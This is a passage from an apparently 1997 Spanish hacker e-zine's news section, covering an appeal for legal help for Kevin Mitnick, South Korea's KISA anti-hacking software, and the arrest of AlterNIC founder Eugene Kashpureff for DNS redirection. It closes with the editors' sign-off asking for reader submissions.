 principios de este ao, el abogado de Mintick a enviado un recurso legal a
 el Sr. Wayne Siefert, el director del MDC, solicitando para su cliente
 acceso a la libreria ya que necesita pasar mas tiempo. El director se nego.
         En agosto de 1995, Mitnick relleno un formulario administrativo con
 el Bureau of Prisons justificando que la policia del MDC en contacto con el 
 acceso al material juridico no esta siguiendo las leyes y regulaciones
 Federales. Especialmente, el Director ha establecido una politica en la cual
 el MDC detracta de la politica del Bureau of Prison's estableciado en el
 codigo de las Regulaciones Federales.
        Finalmente, las leyes Federales han obligado al Director del MDC ha
 ampliar el horario de abertura de la libreria juridica alegando que en breve
 acabara el caso en los juzgados. La politica del MDC declara un error al
 interpretar el acta que se le fue enviado por incluir otros factores.
         Por ejemplo, la politica del MDC no considera la detencion,
 motivacion, estatus, conferencia or cualquier cosa similar como inmimente
 finalizacion del caso. Los oficiales del MDC usan su politica como una
 herramienta para conseguir sus propositos. En su apariencia la politca del
 MDC en contacto con las actividades legales es inedecuada con las leyes
 Federales y por eso afecta sustancialmente a los derechos de los detenidos
 que envuelve sustancialmente los intereses de la libertad.
        En Junio de 1997, Mitnick finalmente obtubo remedios administrativos
 del Bureau of Prisons. La unica peticion del Sr. Mitnick es obtener
 fundamentos juridicos en el juzgado. A Mitnick le gustaria rellear un
 Writ of Habeas Corpus alegando su condicion de detenido, y una protesta
 contra las autorirades Federales las cuales siguen sus propias reglas y
 regulaciones.
        El Sr. Mitnick espera encontrar a una persona la cual tenga
 experiencia en estos casos, como tambien un abogado o un estudiante de
 derecho el cual le ceda un poco de su tiempo para asegurar que se cumpla la
 ley, y para determinar las interferencias gubernamentales en la defensa.
         Mitnick necesita ayuda para dibujar una peticion Habeas Corpus con
 los puntos para ser sometido por el mismo. Sus objetivos son conseguir
 razonablemente el acceso a la libreria para su propia defensa.
         Si quieres ayudar a Kevin, por favor contacta con el en la siguiente
 dirrecion:
 Mr. Kevin Mitnick
 Reg. No. 89950-012
 P.O. Box 1500
 Los Angeles, CA 90053-1500 

 
 COREA DEL SUR ES EL PRIMER PAIS DE DESARROLLA UN PROGRAMA ANTI-HACKING.

         Seul, agosto 27, Xinhua - la Agencia de Informacion de Seguridad de
 Corea del Sur (KISA) ha desarrollado 2 productos de software anti-hacking,
 posiblemente el primer programa para perseguir hackers en el mundo.
        Online SecuDr es un programa diseado para diagnostigar las
 debilidades de un sistema informatico, mientras que SecuLog impide la
 eliminacion o alterar las entradas ilegales a un sistema, Goh Seung-cheol,
 un cientifico senior de la KISA, salio diciendo en un periodico local. 
        Usando Online SecuDr, Kisa ha empezado un servicio gratis de
 diagnostico. Los Administradores que deseen chekear su sistema pueden
 acceder a este servico dirigiendose al web oficial de la agencia, el cual
 esta es Korea rellenando los siguientes datos: nombre del Host, url y
 sistema operativo.
         Con la informacion, Online SecuDr automaticamente revisara el
 sistema, determinando su estado y enviando un diagnostico al administrador
 del sistema via e-mail, dice Goh, admitiendo de que el servicio sera muy
 efectivo evitando hacking.
        El dice que SecuLog, es un programa que tracea a los hackers,
 automaticamente recogera los ficheros log en los cuales los hackers
 manipulan o borran para eliminar su entrada al sistema.
         Un fichero log graba todas las conexiones al sistema. Normalmente
 los Administradores esconden alrededor de 200 copias de ficheros log en sus
 propias computadoras, haciendo mas dificil a los hackers destrozar estos
 ficheros totalmente.
        "Normalmente para un hacker borrar las 200 copias escondidas le
 supone un tiempo considerable. SecuLog impide que los hackers borrer los
 ficheros log. Si un hacker falla al borrar las 200 copias antes de que
 Seculog recoga alguna, habra dejado evidencias de su entrada al sistema"
 dice Goh.
        El dice que desde que SecuLog es el primer programa traceador de
 hackers en el mundo, ellos planean regristar domesticamente e
 internacionalmente las patentes del programa y tambien transpasar esta
 tecnologia a empresas privadas dedicadas al desarrollo para su
 comercializacion.
        Hasta que el producto salga comercialmente, la agencia planea proveer
 el programa para aquellos que lo soliciten, que esta disponible en Koreano y
 en ingles.
        Goh tambien aade que su grupo comenzara a mejorar el programa como
 se espera que los hackers encuentran formas de esquivarlo alrededor de 2
 aos.

 http://www.kisa.or.kr

 
 DETENIDO EL FUNDADOR DE ALTERNIC.

 3-11-1997. 
         Un oficial del FBI a confirmado hoy mismo que el fundador de
 AlterNIC Eugene Kashpureff a sido arestado el viernes en Toronto, EE.UU.,
 por fraude.
        En Julio, Kashpureff havia manipulado el url de Internic, enviando
 surfers intentando conseguir el "www.internic.net" para su propio servidor
 "www.alternic.net" alegando protesta.
         Inmediatamente, el sabia que podia ser detinido por delito
 informatico en las leyes Federales, dice el.
         Las autoridades detuvieron a Kashpureff despues de unas semanas de
 investigacion, dice Joe Valiquette, un portavoz del FBI en Nueva York. Marc
 Hurst, el portavoz de AlterNIC, dice que Kashpureff esta esperando ser
 deportado.
         Hurst dice que el fue contactado hace unas semanas por el
 Departamento de Imigracion Canadiense quien buscaba a Kashpureff porque el
 estaba perseguido por el FBI por varios delitos de fraude.
         Network Solutions (NSI), que se encarga del resgristro de InterNIC
 que por el cual Kashpureff estaba protestando, ha decido llevar a jucio a
 Kashpureff, pero el caso fue detenido.
         Kashpureff se disculpa ante la comunidad Internet e intenta ayudar
 informando sobre como arreglar el programa que previene que alquien se
 apodere de un dominio llamado hijacking.
         Pero probablemente su problema no termino en Agosto con el veredicto
 del Jurado. Llevando a Kashpureff al juzgado civil, Network Solutions ha
 contactado con los oficiles de la justicia quienes invistigaban el caso de
 Kashpureff por varios delitos informaticos.
         Un portavoz dice que Network Solutions por el momento no planeaba
 denunciar a Kashpureff. Kashpureff originalmente empezo a manipular web's el
 11 de Julio y paro el 14 de Julio, pero se enfurecio y volvio otra vez el 18.
 Y por esto los oficiales de Network Solutuions decidieron llevarle a jucio,
 dice un oficial.
         "Kashpureff estaba atacando la red", escribio en su mail un oficial
 de Network Solutions. "El directamente alteraba el cache de los servidores
 locales en los cuales no havian instalado una version superior del BIND".
         BIND es un programa que controla el Internet's Domain Name System
 protocol (DNS). Los avisos de seguridad han sido muy numerosos alertando a
 los administradores que instalen la ultima version del BIND.
         Hurst dice hoy que el no condena ningun crimen que Kashpureff
 pudiese haver cometido, ademas el estaba sorprendido con la venebolencia en
 la cual el dijo estaba siendo tratado Kashpureff. Hurst dijo que el fue
 contactado hace unas semanas por el Departamento de Imigracion en busqueda
 de Kashpureff.
        Cuando kashpureff, el padre de cuatro, perpreto el hack, el dice que
 estaba enfadado y no havia pensado en las ramificaciones. Algunos en la
 comunidad de Internet han aplaudido sus actos, alegando que ellos
 necesitaban ensear el monopolio que Networks Solutions ejercia en los DNS.
 Otros han criticado a Kashpureff, diciendo que sus actos son malvados,
 causan daos y se merecen un castigo.
         Hurst y Richard Sexton ambos afirman, que quien ayudase a Kashpureff
 en AlterNIC, diciendo que aunque eran contrarios a Kashpureff quieren
 encontrar lo que demuestre su inocencia.
         "Lo que mas se puede haver perdido son 2 segundos y un click de
 raton" dice Sexton. "Esto es fraude, pero el damao real es minimo. El
 deberia ser declarado culpable y con una multa de un dolar".
        "Estoy sorprendido con la seriedad que se le trata," dice Hurst.
 "El es un informatico. No un cracker. El no ha causado daos en ningun
 aeropuerto. El tampoco a casado problemas a los hospitales. EL solo
 redigirio algunos web's"

------------------------------------------------------------------------------

------------------------------------------------------------------------------

   Pues esto ha sido todo y esperamos que te haya gustado.
   Como ya he dicho en la editorial para enviar articulos (cosa que
   necesitamos sobre H/C/P/V) o cualquier cosa que nos quieras decir,
   escribe a:

   jjf_team@hotmail.com

                           HASTA EL PROXIMO NUMERO
                          - J.J.F. / HACKERS TEAM -

                     FELIZ NAVIDAZ & FELIZ HACK , JO JO JO !!!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
